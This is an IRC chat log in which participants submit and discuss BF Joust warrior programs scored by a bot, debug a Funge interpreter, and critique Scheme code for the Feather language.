18:21:53 <EgoBot> Score for ais523_tripstridewire_faster: 22.6
18:21:58 <myndzi> elliott: well, it's not that simple
18:22:00 <Deewiant> elliott: Which one, {?
18:22:01 <elliott> it was a joke
18:22:02 <elliott> see
18:22:03 <ais523> myndzi: there is, just look at the last-modified in egobot
18:22:03 <elliott> ha ha, laugh
18:22:05 <elliott> Deewiant: yep
18:22:10 <elliott> GOOD: { transfers cells correctly
18:22:10 <elliott> GOOD: { sets storage offset correctly, and p uses it
18:22:11 <ais523> several of the programs are over a year old
18:22:14 <myndzi> i mean, that there's not exactly "constants" to fiddle
18:22:18 <elliott> myndzi: precisely
18:22:19 <myndzi> of course it was a joke :P
18:22:23 <elliott> myndzi: it would end up just trying all programs :D
18:22:24 <myndzi> but there are some, too
18:22:25 <myndzi> lol
18:22:25 <elliott> and averaging the result
18:22:31 <myndzi> haha
18:22:32 <elliott> "you got a square 50%!"
18:22:35 <myndzi> obviously mine would win then!
18:22:42 <elliott> it would be every program vs. every program :D
18:22:46 <myndzi> because in the end it would have beat every program! ;)
18:22:50 <quintopia> !bfjoust definitely_will_suck >+>+<<(-)*128+[[+-]+]+
18:22:51 <ais523> you know, any successful program ends up pushing what it beats off the hill, and then getting worse
18:22:54 <myndzi> shh, your logic has no place here
18:23:01 <ais523> that's what happened to stridewire; really quickly, programs it beat got pushed off
18:23:04 <myndzi> ais523: clearly need a bigger hill
18:23:11 <EgoBot> Score for quintopia_definitely_will_suck: 4.3
18:23:15 <myndzi> or less similar programs
18:23:19 <ais523> perhaps
18:23:27 <myndzi> !bfjoust most_definitely_will_suck <
18:23:30 <EgoBot> Score for myndzi_most_definitely_will_suck: 0.0
18:23:33 <myndzi> oh yeah
18:23:33 <myndzi> i win
18:23:34 <quintopia> !bfjoust definitely_will_suck (-)*128+[[+-]+]+
18:23:37 <ais523> when I first came up with stridewire, it beat everyone but impomatic; now, it's not really beating anyone but myndzi
18:23:44 <myndzi> lol
18:23:48 <Vorpal> !bfjoust suckitude_personified <+
18:23:53 <myndzi> i didn't quite even read what it did
18:23:57 <ais523> !bfjoust tripstridewire_faster <
18:23:59 <EgoBot> Score for Vorpal_suckitude_personified: 0.0
18:23:59 <myndzi> but
18:23:59 <EgoBot> Score for quintopia_definitely_will_suck: 12.3
18:24:00 <EgoBot> Score for ais523_tripstridewire_faster: 0.0
18:24:03 <myndzi> i haven't modified any of my programs
18:24:06 <ais523> I'm going to remove duplicates of my programs in order to help the others survive longer
18:24:07 <Vorpal> argh myndzi beat me to it
18:24:10 <myndzi> so i'm not surprised that a program written to beat them all...?
18:24:20 <ais523> it wasn't written to beat them all, I was just trying out a new strategy
18:24:31 <ais523> and it was hilarious seeing how it did much better against some people's programs than others
18:24:33 <myndzi> ah, well that's good, i hope it can stay
18:24:37 <ais523> different people have different styles, it seems
18:24:38 <Vorpal> 8 0.00 -20.00 ais523_tripstridewire_faster.bfjoust
18:24:39 <Vorpal> what
18:24:39 <myndzi> i should read about it later
18:24:48 <ais523> (also of note: tripstridewire would do well in BF Joust 1, the original)
18:24:50 <Vorpal> oh there
18:24:51 -!- kar8nga has joined.
18:24:53 <myndzi> well, it seems like lots of the programs wound up being very similar from different people
18:24:55 <Vorpal> you canceled it
18:25:07 <myndzi> like, i realized that if i messed around with slowrush it would wind up being more like wiggle lol
18:25:08 <myndzi> and vice versa
18:25:19 <myndzi> or something, i forget precisely which programs were involved at the time
18:25:28 <ais523> tripstridewire is basically a really /really/ aggressive rush program
18:25:36 <ais523> it's faster than a typical fast-rush program by a factor of 2
18:25:42 <ais523> because it only checks every second tape cell
18:25:47 <quintopia> !bfjoust test (-)*128+[+-](+)*128>>>>>>>>+[>[-]+]
18:25:52 <Vorpal> ais523, why every second?
18:25:55 <ais523> then, when it finds one, it starts zeroing from the cell after that
18:26:01 <EgoBot> Score for quintopia_test: 7.5
18:26:06 <ais523> Vorpal: to give extra speed at the expense of reliability
18:26:08 <quintopia> interesante
18:26:13 <Vorpal> ais523 ah
18:26:26 <ais523> it can often start attacking the flag while the opponent is still setting up its decoys
18:26:28 <ais523> thus it works better on short tapes, worse on longer ones
18:26:35 <Gregor> ais523: "would do well in BF Joust 1" weren't the changes YOUR idea? :P
18:26:42 <ais523> Gregor: yes
18:26:44 <myndzi> i wonder if i ever wrote something that set up the decoys backwards
18:26:49 <ais523> I know I did
18:26:50 <myndzi> maybe never had a reason tto
18:26:57 <ais523> defend9 did, I think
18:27:10 <ais523> in because it needed decoys just to have time to set up its other decoys
18:27:14 <ais523> s/in //
18:27:19 <myndzi> yeah
18:27:23 <myndzi> well that would apply to any program
18:27:27 <ais523> the decoys were the entire point, rather than just slowing the opponent down
18:27:27 -!- Behold has joined.
18:27:27 <Vorpal> !bfjoust test >>>-<+<-(--+)*1000000
18:27:29 <myndzi> of course it nets you a loss in speed eventually
18:27:30 <Vorpal> err
18:27:33 <Vorpal> !bfjoust test >>>-<+<<(--+)*1000000
18:27:35 <Vorpal> of course
18:27:36 <myndzi> but not by all that much
18:27:37 <ais523> as they needed to be at specific values in order for its strategy to work
18:27:42 <ais523> rather than just slowing the opponent
18:27:43 <elliott> Deewiant: What's the test after "{ with negative argument works"?
18:27:54 <ais523> (to be precise, it set up a range of decoys, then timed them in order to deduce the opponent's strategy)
18:27:59 <Deewiant> elliott: Read the source :-P
18:28:01 <EgoBot> Score for Vorpal_test: 15.4
18:28:01 <EgoBot> Score for Vorpal_test: 15.4
18:28:02 <myndzi> yeah
18:28:04 <elliott> Deewiant: >_<
18:28:05 <elliott> BAD: s reflects
18:28:06 <elliott> BAD: 04-j jumps forward
18:28:08 <Deewiant> elliott: Or get a binary that works :-P
18:28:11 <elliott> TODO: Fix
18:28:11 <myndzi> that's the one i was thinking about the other day
18:28:13 -!- kar8nga has quit (Excess Flood).
18:28:19 <myndzi> wiggle gets around it in an interesting way
18:28:24 <elliott> Deewiant: Link me to your site :P
18:28:26 <Vorpal> !bfjoust test >>>-<-<<(--+)*1000000
18:28:26 <quintopia> Vorpal: it fails to kill tripwire now that you added decoys
18:28:27 <myndzi> by basically using different timings for every attack
18:28:28 <ais523> that was defend9; it was on the hill for ages, but collapsed eventually
18:28:35 <Vorpal> quintopia, yes indeed
18:28:42 <Vorpal> quintopia, I'm just checking what different decoys do
18:28:43 <ais523> due to programs like wiggle that do that, and programs like slowrush which just use really bizarre timings
18:28:50 <myndzi> ;D
18:28:52 <EgoBot> Score for Vorpal_test: 15.4
18:28:59 -!- kar8nga has joined.
18:29:01 <Vorpal> !bfjoust test <
18:29:05 <EgoBot> Score for Vorpal_test: 0.0
18:29:09 <ais523> and rush programs often got there before the decoys were set up correctly
18:29:10 <Deewiant> elliott: iki.fi/deewiant
18:29:11 <Vorpal> !bfjoust shudder (--+)*1000000
18:29:18 <Vorpal> (I'd like to rename it)
18:29:26 <ais523> not to mention tripwire-avoiders completely screwing up the whole concept
18:29:32 <myndzi> lol
18:29:38 <myndzi> damn those enemy programs for not playing by your rules
18:29:38 <quintopia> !bfjoust test >+<(++-)*1000000
18:29:39 <myndzi> :)
18:29:39 <EgoBot> Score for Vorpal_shudder: 18.2
18:30:03 <ais523> defend7's a lot more robust, as it doesn't need to detect the enemy loops but rather uses mathematics to ensure that most common timings won't make the flag fall
18:30:08 <EgoBot> Score for quintopia_test: 15.8
18:30:27 <Vorpal> !bfjoust shudder (++-)*1000000
18:30:28 <elliott> !bfjoust wiggles_woggle_but_they_dont_fall_down (>--+<+--)*1000000
18:30:36 <EgoBot> Score for Vorpal_shudder: 17.5
18:30:40 <EgoBot> Score for elliott_wiggles_woggle_but_they_dont_fall_down: 0.0
18:30:48 -!- BeholdMyGlory has quit (Ping timeout: 250 seconds).
18:30:54 <quintopia> !bfjoust test <
18:30:57 <EgoBot> Score for quintopia_test: 0.0
18:31:05 <Vorpal> !bfjoust shudder (--+)*1000000
18:31:09 <Vorpal> so that one was better
18:31:10 <Vorpal> hm
18:31:15 <elliott> !bfjoust wiggles_woggle_but_they_dont_fall_down (>--+<+--)*100000
18:31:17 <ais523> !bfjoust stupid_defender_clearer (>)*8(>[[+]])*21
18:31:33 <elliott> GOOD: } reflects when stack stack has only one stack
18:31:33 <elliott> Aha
18:31:37 <EgoBot> Score for elliott_wiggles_woggle_but_they_dont_fall_down: 0.2
18:31:38 <EgoBot> Score for ais523_stupid_defender_clearer: 13.2
18:31:38 <EgoBot> Score for Vorpal_shudder: 19.3
18:31:58 <Vorpal> ... I can't compare if everyone keep submitting :P
18:32:02 <Vorpal> !bfjoust shudder (++-)*1000000
18:32:23 <ais523> unfortunately, stupid_defender_clearer doesn't do well enough against the non-shudder-style programs to clear the shudder-style programs as well as it should
18:32:41 <EgoBot> Score for Vorpal_shudder: 18.2
18:32:46 <myndzi> !bfjoust lole (>+)*8([>][-][>][--][>][---])*4
18:32:48 <Vorpal> okay so other one is better
18:32:52 <Vorpal> !bfjoust shudder (--+)*1000000
18:32:58 <Vorpal> (and I'm done for today)
18:33:04 <myndzi> --+ is the same as ++-
18:33:10 <myndzi> it tests both of them in the fight
18:33:15 <ais523> ugh, report.txt seems blank
18:33:16 <Vorpal> myndzi, what?
18:33:23 <EgoBot> Score for myndzi_lole: 0.0
18:33:23 <Deewiant> It's blank because it's running
18:33:23 <EgoBot> Score for Vorpal_shudder: 18.3
18:33:26 <ais523> Vorpal: swapping + and - is done automatically, and the scores for both averaged
18:33:26 <Vorpal> myndzi, it inverts everything and tests?
18:33:28 <quintopia> !bfjoust sex_bobomb [-](+-)*1000000
18:33:29 <myndzi> yes
18:33:31 <Vorpal> ais523, aha
18:33:39 <Vorpal> ais523, so why did I get different results for them
18:33:44 <myndzi> because peeople were just taking existing programs and swapping them
18:33:47 <myndzi> (* polarity)
18:33:54 <myndzi> so now it tests it both ways
18:33:56 <EgoBot> Score for quintopia_sex_bobomb: 8.9
18:34:07 <ais523> Vorpal: because the scoreboard was different due to you pushing stupid test programs off the leaderboard in between
18:34:08 <myndzi> what di i break with that program, i didn't expect it to do anything useful but 0 lol
18:34:24 <Vorpal> ais523, ah
18:34:34 <myndzi> i think i forgot everything i knew about this ;D
18:34:38 <elliott> GOOD: u with a positive count transfers cells correctly
18:34:38 <elliott> BAD: u with a positive count transfers cells incorrectly
18:34:39 <elliott> Deewiant: ^
18:34:44 <Deewiant> :-D
18:34:51 <elliott> With a blank line in-between, no less.
18:35:05 <quintopia> !bfjoust sex_bobomb [[[-](+)*5]+]
18:35:07 <elliott> BAD: fedcba0{05-} doesn't leave 15 on stack
18:35:17 <elliott> Deewiant: I don't even
18:35:19 <Vorpal> elliott, next time try making it swap BAD and GOOD compared to the rest of the line
18:35:22 <ais523> myndzi: the [>] is a bad idea, if you hit an opposing decoy-chain it's almost guaranteed to run off the tape
18:35:29 <Vorpal> elliott, what is the problem
18:35:30 <EgoBot> Score for quintopia_sex_bobomb: 7.4
18:35:30 <ais523> and you don't run [-] except immediately after [>]
18:35:38 <elliott> Vorpal: I have no idea why my code would not be doing that
18:35:46 <ais523> so basically, you're searching for a position where [>] will cause you to die, then running [>]
18:35:47 <myndzi> oh right, i think i got loops backwards
18:35:48 <myndzi> haha
18:35:52 <ais523> which is a little counterintuitive...
18:36:00 <Deewiant> elliott: Jumping to the BAD is likely a result of your x not quite working, or movement with a noncardinal in general
18:36:08 <fizzie> ais523: "-- asked around in #nethack to see if anyone knew why it had been pulled. aid523 said that it was because the version of Spork on NAO was --" ... could it be your long-lost almost-identical (edit distance 1!) twin brother!?
18:36:11 -!- MigoMipo has joined.
18:36:13 <myndzi> what was the code that moved to the first nonzero and skipped it
18:36:22 <elliott> Deewiant: BAD: wraparound with non-cardinal delta doesn't work
18:36:26 <myndzi> oh, need nested brackets for that huh
18:36:26 <ais523> fizzie: I'm a regular in #nethack, and have also posted on rgrn
18:36:30 <ais523> and that was meant to be ais523, but a typo
18:36:32 <elliott> Deewiant: But "BAD: fedcba0{05-} doesn't leave 15 on stack" is an actual problem, right?
18:36:40 <elliott> fizzie: What's that from?
18:36:49 <Vorpal> elliott, hard to tell. It could be jumping incorrectly
18:36:52 <Deewiant> elliott: I don't think I ever use wraparound with a non-cardinal intentionally, it's too much of a headache to figure it out compared to just jumping directly to the right place :-P
18:36:53 <Vorpal> elliott, better fix x first?
18:36:59 <Deewiant> And yes, it's an actual problem
18:37:00 <elliott> Vorpal: x isn't broken.
18:37:04 <quintopia> !bfjoust infinite_shudder [[(++-)*1000000]+]
18:37:04 <fizzie> ais523: That's so boringly prosaic explanation. I think I'll rather believe mine.
18:37:06 <Vorpal> Deewiant, I thought you tested it?
18:37:06 <elliott> Vorpal: My wraparound is broken ever since I fixed it.
18:37:10 <fizzie> elliott: RGRN.
18:37:13 <Vorpal> elliott, XD
18:37:18 <Deewiant> Vorpal: Yes, I meant other than that
18:37:23 <Vorpal> Deewiant, ah
18:37:31 <myndzi> yeah uhh, just keep adding more * numbers to make the hill slower >:(
18:37:31 <EgoBot> Score for quintopia_infinite_shudder: 17.9
18:37:32 <elliott> Vorpal: I hire you to fix my wrap-around algorithm
18:37:38 <Vorpal> elliott, I refuse
18:37:53 <quintopia> wat. why is that not as good as shudder?
18:37:54 <elliott> Vorpal: Ah, I don't think we quite understand each other: I hire you to fix my wrap-around algorithm
18:37:59 <elliott> quintopia: takes cycles at start
18:38:05 <Vorpal> elliott, and I don't think you understand me.
18:38:10 * Vorpal fires a bullet
18:38:23 <ais523> fizzie: were you aware I was active in the NetHack community, btw? I wasn't aware you read rgrn
18:38:58 <quintopia> elliott: why does shifting the actual shuddering by 2 cycles a make-or-break issue?
18:39:02 <elliott> quintopia: Because
18:39:05 <quintopia> :/
18:39:15 -!- Sgeo has joined.
18:39:30 <ais523> quintopia: because it depends on when opposing programs reach you
18:39:57 <myndzi> you could put it back by also shifting the ++- pattern probably
18:39:59 <Vorpal> quintopia, actually you pushed mine down
18:40:02 <myndzi> make it -++ ?
18:40:03 <myndzi> lol
18:40:16 <myndzi> that'd start - at the same time as it would have otherwise
18:40:45 <fizzie> ais523: Yes, your nethackitude has been revealed on-channel often enough that I had caught it.
18:41:00 <ais523> hmm, it's not that often in this channel
18:41:07 <ais523> (much more often in #nethack, occasionally in ##nomic)
18:41:28 <ais523> also, ais523_stupid_defender_clearer is still hanging on somehow
18:41:40 <ais523> presumably because people keep trying stupid defenders
18:41:42 <quintopia> Vorpal: yeah i just looked at the chart and noticed that
18:41:42 <ais523> it's doing its job, anyway
18:41:45 <myndzi> lol
18:42:00 <ais523> ah no, it was just pushed off
18:42:02 <elliott> loop (x,y) (dx,dy) (mx,my)
18:42:02 <elliott> | x `ltx` mx || y `lty` my =
18:42:03 <elliott> (if x `ltx` mx then mx+dx else x,
18:42:03 <elliott> if y `lty` my then my+dy else y)
18:42:03 <elliott> | x `gtx` mx || y `gtx` my = loop (x-dx, y-dy) (dx,dy) (mx,my)
18:42:03 <elliott> | otherwise = (x,y)
18:42:03 <myndzi> oughtta go all forum style on this and "pin" warriors ;)
18:42:06 <elliott> Deewiant, where's my obvious bug
18:42:14 <myndzi> when unique ones show up, stick em there!
18:42:15 <myndzi> :P
18:42:18 <elliott> Ohh
18:42:18 <Deewiant> On your neck! Look out!
18:42:20 <elliott> I think I see it
18:42:22 <quintopia> INFINITE HILL
18:42:25 <quintopia> NEEDS TO HAPPEN
18:42:37 <myndzi> i confess to being curious how this would stack up
18:42:42 <ais523> also, how did stupid_defender_clearer beat shade?
18:42:48 <myndzi> i think some work on the interpreter could be done though
18:42:51 <ais523> it wasn't meant to beat anything but stupid defenders (and tripstridewire)...
18:42:56 <myndzi> ais523: i don't even remember how anything i wrote works anymore
18:43:01 <myndzi> lol
18:43:05 <myndzi> i think shade skips a tripwire
18:43:10 <ais523> shade was written by nescience
18:43:15 <ais523> but if it's tripwire-skipping, that explains it
18:43:15 <myndzi> that was my altnick at work
18:43:19 <ais523> aha
18:43:27 <ais523> quintopia: I like the finite one as it is
18:43:37 <ais523> the hill is inherently resistant to masses of clone programs
18:43:42 <ais523> unless they're /really good/ clone programs, I suppose
18:43:44 <quintopia> ais523: so? who was suggesting replacing it?
18:43:52 <ais523> you were suggesting an infinite hill
18:43:53 <myndzi> it is really l ong
18:43:54 <myndzi> haha
18:44:02 <Vorpal> myndzi, that is nes science right? as in NES.
18:44:05 <quintopia> yes, in addition to the finite one
18:44:10 <myndzi> nah
18:44:12 <myndzi> nescience
18:44:19 <myndzi> http://www.m-w.com/cgi-bin/dictionary?book=Dictionary&va=nescience
18:44:29 <fizzie> ais523: "2010-02-26 22:08:26 < scarf!~scarf@unaffiliated/ais523: fizzie: you read rgrn?" -- it seems we did in fact sort of already have this discussion.
18:44:32 <myndzi> although the page isn't loading for me haha
18:44:40 <myndzi> it's ~= ignorance
18:44:47 <fizzie> (I'm not entirely sure I ever answered, though.)
18:44:52 <Vorpal> myndzi, oh I preferred my explanation!
18:44:56 <ais523> fizzie: wow, that was quite a memory from ages ago
18:45:44 <myndzi> ah well, sorry :)
18:45:48 <myndzi> i like interesting words
18:46:14 -!- Lymia_ has joined.
18:46:46 <myndzi> yeah, i think shade is just a fairly simple tripwire skip thing
18:46:58 <myndzi> with an offset clear
18:47:06 <ais523> offset clear?
18:47:06 -!- ais523 has quit (Read error: Connection reset by peer).
18:47:09 <myndzi> it's so long because it couldn't be shorthanded
18:48:27 -!- poiuy_qwert has joined.
18:48:40 -!- ais523 has joined.
18:48:42 <myndzi> i mean like, i add 10 before subtract looping; so if it's a -10 or less decoy, it gets cleared quickly
18:48:47 <Vorpal> fizzie, there?
18:49:05 <ais523> myndzi: yep, I figured it out but my connection dropped, so you didn't see that I figured it out
18:49:21 <ais523> [19:06] <ais523> offset clears are a little arms race in themselves; you can set it high to beat impomatic, or low to beat everyone else
18:49:22 <ais523> [19:06] <ais523> because impomatic tends to use unusually large decoys, which leave him a bit vulnerable on short tapes but more powerful on long ones
18:49:24 <Vorpal> fizzie, any progress on jitfunge recently?
18:49:28 <myndzi> decoys: (>(-)*9)*2>(>-)*4 tripwire skip: >[ attack: >(+)*10[-] (times 20)
18:49:34 <myndzi> i guess i could have shorthanded the attack
18:49:39 <ais523> oh, you set decoys of 9 too?
18:49:41 <myndzi> oh, except you can't nest it right?
18:49:43 <Vorpal> ais523, just wondering. Is Feather completely dead or do you think you will resume it at some point?
18:49:49 <ais523> and shorthanding is just a convenience to make it easier over IRC
18:49:54 <ais523> Vorpal: it's not dead
18:49:54 <myndzi> basically
18:49:56 <myndzi> and easier to read
18:50:00 -!- Lymia__ has quit (Ping timeout: 276 seconds).
18:50:00 <Vorpal> ais523, ah :)
18:50:06 <ais523> in fact, I even managed to create a constant without it going into an infinite loop
18:50:12 <myndzi> i worked out a method to interpret the shorthand code without expanding itt
18:50:14 <ais523> which is a huge achievement in Feather terms
18:50:15 <Vorpal> ais523, how?
18:50:16 <myndzi> in a way which allowed nesting
18:50:33 <myndzi> but i don't think it ever got implemented
18:50:35 <elliott> myndzi: that's what egojoust does
18:50:49 <myndzi> maybe it did then? i asked someone last night and he said it expanded in memory
18:50:56 <ais523> Vorpal: I can't remember, but I think it involved a crazy bootstrapping using multiple other constants, and being simultaneously metacircular and not metacircular wrt Scheme by detecting which any particular constant used
18:50:57 <myndzi> which is the old behavior
18:51:07 <elliott> who, Gregor?
18:51:13 <ais523> sure, the constants just sit there and don't do anything, but at least they exist
18:51:20 <ais523> myndzi: egojoust uses some pretty clever optimisation code there
18:51:23 <Vorpal> ais523, how would you get those bootstrapping constants?
18:51:35 <ais523> I think it works by detecting that the combined effect of two programs made no change, and just fastforwarding the loop
18:51:35 <myndzi> ais523: it may be the result of my work then!
18:51:36 <myndzi> :D
18:51:43 <ais523> Vorpal: err, it's a mess
18:51:46 <ais523> let me find the file
18:51:46 <myndzi> oh wait i see what you mean
18:51:52 <Vorpal> ais523, cool
18:52:20 <myndzi> what i was talking about is different from that, and maybe it is hard to combine them, unsure
18:52:39 <ais523> what's a good pastebin for Scheme?
18:52:43 <myndzi> i remember there being limitations like you couldn't nest shorthand
18:52:47 <elliott> ais523: sprunge.us
18:52:53 <ais523> you can nest shorthand
18:52:55 <myndzi> and it wasn't being interpreted in-place
18:53:05 <Vorpal> ais523, sprunge.us, add ?scheme to end of url iirc
18:53:07 <myndzi> it was being expanded into a string buffer or something
18:53:11 <myndzi> which took a while
18:53:18 <myndzi> so i worked out how to process it in-place
18:53:26 <myndzi> but now i don't quite remember ;) it was pretty simple though
18:53:29 <Gregor> elliott: It expands it if it contains [ or ] or is a %-loop, so only simple *-loops remain.
18:53:32 <ais523> http://sprunge.us/NQXK?scheme
18:53:45 <myndzi> ah, well there you go
18:53:53 <myndzi> %-loops was the thing i solved
18:54:01 <myndzi> that's the (a{b}c)%n right?
18:54:02 <ais523> Gregor: %-loops were actually designed to be interpretable without expansion in the presence of [ and ], that's their purpose
18:54:04 <ais523> yeo
18:54:05 <ais523> *yep
18:54:07 <Gregor> myndzi: Yeah
18:54:12 <ais523> but they didn't really catch on
18:54:15 <ais523> Vorpal: ^
18:54:18 <elliott> ais523: I like that original program
18:54:29 <Gregor> ais523: Well, I'm lazy :P
18:54:29 <Vorpal> ais523, yeah I was reading
18:54:31 <ais523> elliott: it's the mockingbird combinator
18:54:32 <Vorpal> it hurts XD
18:54:37 <myndzi> i dunno, i just remember last it was discussed there was a problem with it somehow
18:54:37 <elliott> ais523: yep
18:54:43 <elliott> ais523: is that the initial Feather interpreter?
18:54:47 <myndzi> so i can do
18:54:48 <ais523> Feather embeds untyped lambda calculus
18:54:50 <ais523> and it's just a test
18:54:52 <elliott> aww
18:54:55 <elliott> it should be the initial interprete
18:54:55 <elliott> r
18:54:56 <myndzi> (>(+)*10[-])*20?
18:54:56 <ais523> although it's a metacircular test
18:54:58 <elliott> that would be beautifu
18:54:58 <elliott> l
18:55:03 <ais523> and indeed it would, but I doubt that helps
18:55:09 <ais523> perhaps you can retroactively make it do that later
18:55:09 <elliott> ais523: your scheme style is horrible
18:55:11 <Vorpal> ais523, okay that hurts my brain to read. Impressive.
18:55:21 <ais523> perhaps it is
18:55:26 <ais523> what in particular's unidiomatic about it?
18:55:27 <elliott> it definitely is :)
18:55:30 <ais523> (I hardly know Scheme)
18:55:33 <elliott> ais523: well, right off the bat, you have
18:55:34 <elliott> (define
18:55:35 <elliott> (foo)
18:55:36 <elliott> where it should be
18:55:38 <elliott> (define (foo)
18:55:50 <Vorpal> ais523, no, it isn't that. It is the feather bit that hurts. And yeah what elliott said
18:55:55 <elliott> ais523: secondly, "addmethod" -> "add-method", "feather_blah" -> "feather-blah", etc.
18:56:12 <elliott> also, you have an awful lot of nesting, but in an interpreter that's probably unavoidable
18:56:19 <elliott> although, returning (remainder parsed) is wrong
18:56:22 <elliott> return (remainder . parsed)
18:56:36 <ais523> tuple rather than list?
18:56:49 <ais523> lists are easier to read once it generalises past two elements
18:56:58 <quintopia> myndzi: what does slowrush do?
18:57:05 <myndzi> i ... don't remember
18:57:09 <Vorpal> ais523, a list is made out of tuples though (cons cells are 2-tuples)
18:57:25 <myndzi> by its name, i assume it is just a straight attack but slower
18:57:27 <elliott> ais523: yes, but you only have two elements
18:57:28 <ais523> myndzi: IIRC, it's an attack program, but one that moves slowly setting up lots of decoys, and tries not to fall for standard tricks
18:57:30 <myndzi> which threw off defend versions at the time
18:57:31 <elliott> ais523: and car/cdr are nice accessors
18:57:46 <ais523> that feels like abuse of cons to me
18:57:52 <ais523> although I know schemers do that all the time
18:57:55 <myndzi> well it's short enough: >(+)*19>(-)*19(>++++++>------)*1>+>->->+(>[[-(+)*22[-]]+>[+(-)*22[+]]->]+)*21
18:58:03 <Vorpal> ais523, you are more used to comon lisp?
18:58:05 <ais523> I prefer my lang, mentally, to be based on lists rather than conses, for whatever reason
18:58:05 <Vorpal> common*
18:58:18 <ais523> Vorpal: not really, I'm not a big Lisp user at all
18:58:22 <Vorpal> ah
18:58:30 <ais523> it's just that Scheme had pretty much exactly the right feature set for Feather
18:58:32 <myndzi> it alternates its attack
18:58:41 <myndzi> to average the results from polarized decoys
18:58:48 <myndzi> i don't know why -(+)*22
18:58:52 <myndzi> maybe to trip tripwires?
18:58:54 <Vorpal> ais523, I find the indention somewhat confusing too. Especially around your let statements.
18:59:00 <Phantom_Hoover> ais523, ON THE TOPIC OF FEATHER
18:59:10 <Vorpal> but it was too long ago I did scheme, I don't remember how it should be done
18:59:19 <ais523> that indentation is correct, I think it's crazy because the line breaks are in the wrong place
18:59:20 <elliott> however Emacs does it is correct
18:59:29 <Vorpal> ais523, that could be it
18:59:34 <Phantom_Hoover> Emacs is always right.
19:00:01 <myndzi> i wish i remembered why i did that haha
19:00:06 <myndzi> it's probably something tricky! ;)
19:00:06 <quintopia> !bfjoust adlout [>[[-]]+]
19:00:07 <impomatic> How do I submit a BFJoust program from a file?
19:00:10 <myndzi> it also leaves a decoy trail
19:00:16 <myndzi> i think it took urls?
19:00:22 <EgoBot> Score for quintopia_adlout: 2.1
19:00:37 <myndzi> ais523: any chance you know why i would have done that? :P
19:00:42 <myndzi> it's gonna bother me all day now haha
19:00:48 <ais523> impomatic: post the file online, submit a program starting http://
19:00:56 <ais523> and it'll detect that it looks like an URL and download it rather than using it raw
19:01:17 <ais523> myndzi: it may well have been specifically to defeat defend9
19:01:32 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
19:01:40 <ais523> I don't think that alone makes any difference to defend7
19:01:45 <myndzi> perhaps
19:01:53 <myndzi> did defend9 leave off-by-1 decoys?
19:02:00 <myndzi> a single + or -
19:02:16 <ais523> no, but it worked based on timings
19:02:37 <myndzi> hum, it wouldn't matter with the decoys anyway, just tripwires that sit on 1 or -1
19:02:39 <ais523> I suspect that + to trip confused its timing when combined with the 22
19:02:58 <myndzi> oh yeah, it was to trip tripwires
19:03:00 <myndzi> i remember now
19:03:04 <myndzi> because it trips them either way if they sit on 1
19:03:05 <ais523> which gives the appearance of having been programmed specifically to give a timing that caused defend9 to mis-ID the strategy
19:03:13 <myndzi> -1 becomes -2 -1 0
19:03:16 <myndzi> 1 becomes 0 1 2
19:03:20 <myndzi> so they both hit 0
19:03:30 <ais523> defend9 could ID [-] pretty easily normally, but the 22 was probably just enough to make it think it was something else
19:03:38 <myndzi> i don't know
19:03:41 -!- impomatic has joined.
19:03:52 <ais523> one thing I don't get is why it beats defend7
19:03:54 <myndzi> the 22 was just an offset clear of about 20
19:04:06 <myndzi> or 21
19:04:07 <myndzi> whatever
19:04:12 <impomatic> Grrrr... Chatzilla crashes every time I click a link. It's about time I installed something else
19:04:18 <myndzi> i'm pretty sure i only chose it to tackle decoys of up to 20 in size
19:04:25 <ais523> it beats it for every possible timing, too
19:04:35 <myndzi> lol
19:04:40 <ais523> impomatic: indeed, especially if you have a tendency to click links
19:05:02 <ais523> anyway, likely the only reason slowrush wins is those massive decoys at the start
19:05:04 <impomatic> !bfjoust scimitar http://candlebags.co.uk/temp/1.txt
19:05:12 <elliott> Deewiant: getting wrapping right + headache = awesome?
19:05:13 <myndzi> anyway, that's the 'slow' part
19:05:17 <quintopia> myndzi: lol@ ()*1
19:05:21 <Deewiant> elliott: Ish
19:05:33 <EgoBot> Score for impomatic_scimitar: 44.1
19:05:35 <myndzi> it was easier than editing it out ;) i think it used to be 2 or something
19:05:44 <myndzi> plus i could change it later
19:06:54 <ais523> it's instructive to look at the summary for tripstridewire vs slowrush (which I ran in a locally modified egojoust to print the loss reasons for each length); tripstridewire wins alternate lengths for short programs, but loses on the long ones
19:07:16 <ais523> because it's just a case of whether it can get over to your flag before your setup is complete
19:07:21 <quintopia> yeah i don't get why it beats defend7 either :P it looks ridiculously stupid. has something to do with the creating big decoys out of nowhere and then destroying them probably
19:07:47 <myndzi> haha
19:07:53 <myndzi> there is that too, i guess
19:07:58 <myndzi> i mean, i leave behind simple decoys
19:08:06 <myndzi> but if you ran into it while i was in a loop, i dunno what happen
19:08:47 <elliott> Deewiant: Man, per-line-and-per-column bounds are really tricky to do wrapping with.
19:08:53 <quintopia> yeah i just meant in terms of defend7's strategy of going out into the world and cycling every cell through all its values
19:08:54 <myndzi> but it would only do that on a cell that had been altered so...
19:09:05 <Vorpal> elliott, why are you doing it that way
19:09:08 <Deewiant> elliott: I've never done that, so I wouldn't know.
19:09:10 <elliott> Vorpal: Because that's how I store bounds?
19:09:11 <Vorpal> elliott, it won't work for non-cardinal anyway
19:09:16 <elliott> Vorpal: Why not?
19:09:23 <myndzi> yeah, defend can't depend on the value of any cell
19:09:28 <Vorpal> elliott, you would have to check if it went outside then insid
19:09:29 <myndzi> it has to get home in time for lunch
19:09:30 <Vorpal> side*
19:09:32 <elliott> Vorpal:
19:09:34 <elliott> let x' = x + dx
19:09:34 <elliott> y' = y + dy
19:09:34 <elliott> (minX,maxX) = Map.findWithDefault undefined y' (rowBounds fs)
19:09:35 <elliott> (minY,maxY) = Map.findWithDefault undefined x' (colBounds fs)
19:09:36 <myndzi> so it takes a long time to w in
19:09:37 <elliott> in if x' < minX || x' > maxX || y' < minY || y' > maxY then ...
19:09:38 <Vorpal> elliott, like one line being shorter than another
19:09:50 <Vorpal> hm
19:10:02 <elliott> I'm pretty sure that will definitely work.
19:10:04 <Vorpal> elliott, oh is this for non-cardinal?
19:10:08 <elliott> Vorpal: It's for both. :p
19:10:12 <elliott> I don't do special cases.
19:10:12 <Vorpal> oh okay
19:10:20 <impomatic> !bfjoust scimitar http://candlebags.co.uk/temp/1.txt
19:10:23 <myndzi> oh you know what
19:10:27 <myndzi> i remember designing one to make defend suicide
19:10:28 <myndzi> ;)
19:10:28 <quintopia> impomatic: what the heck is that doing?
19:10:36 <EgoBot> Score for impomatic_scimitar: 46.6
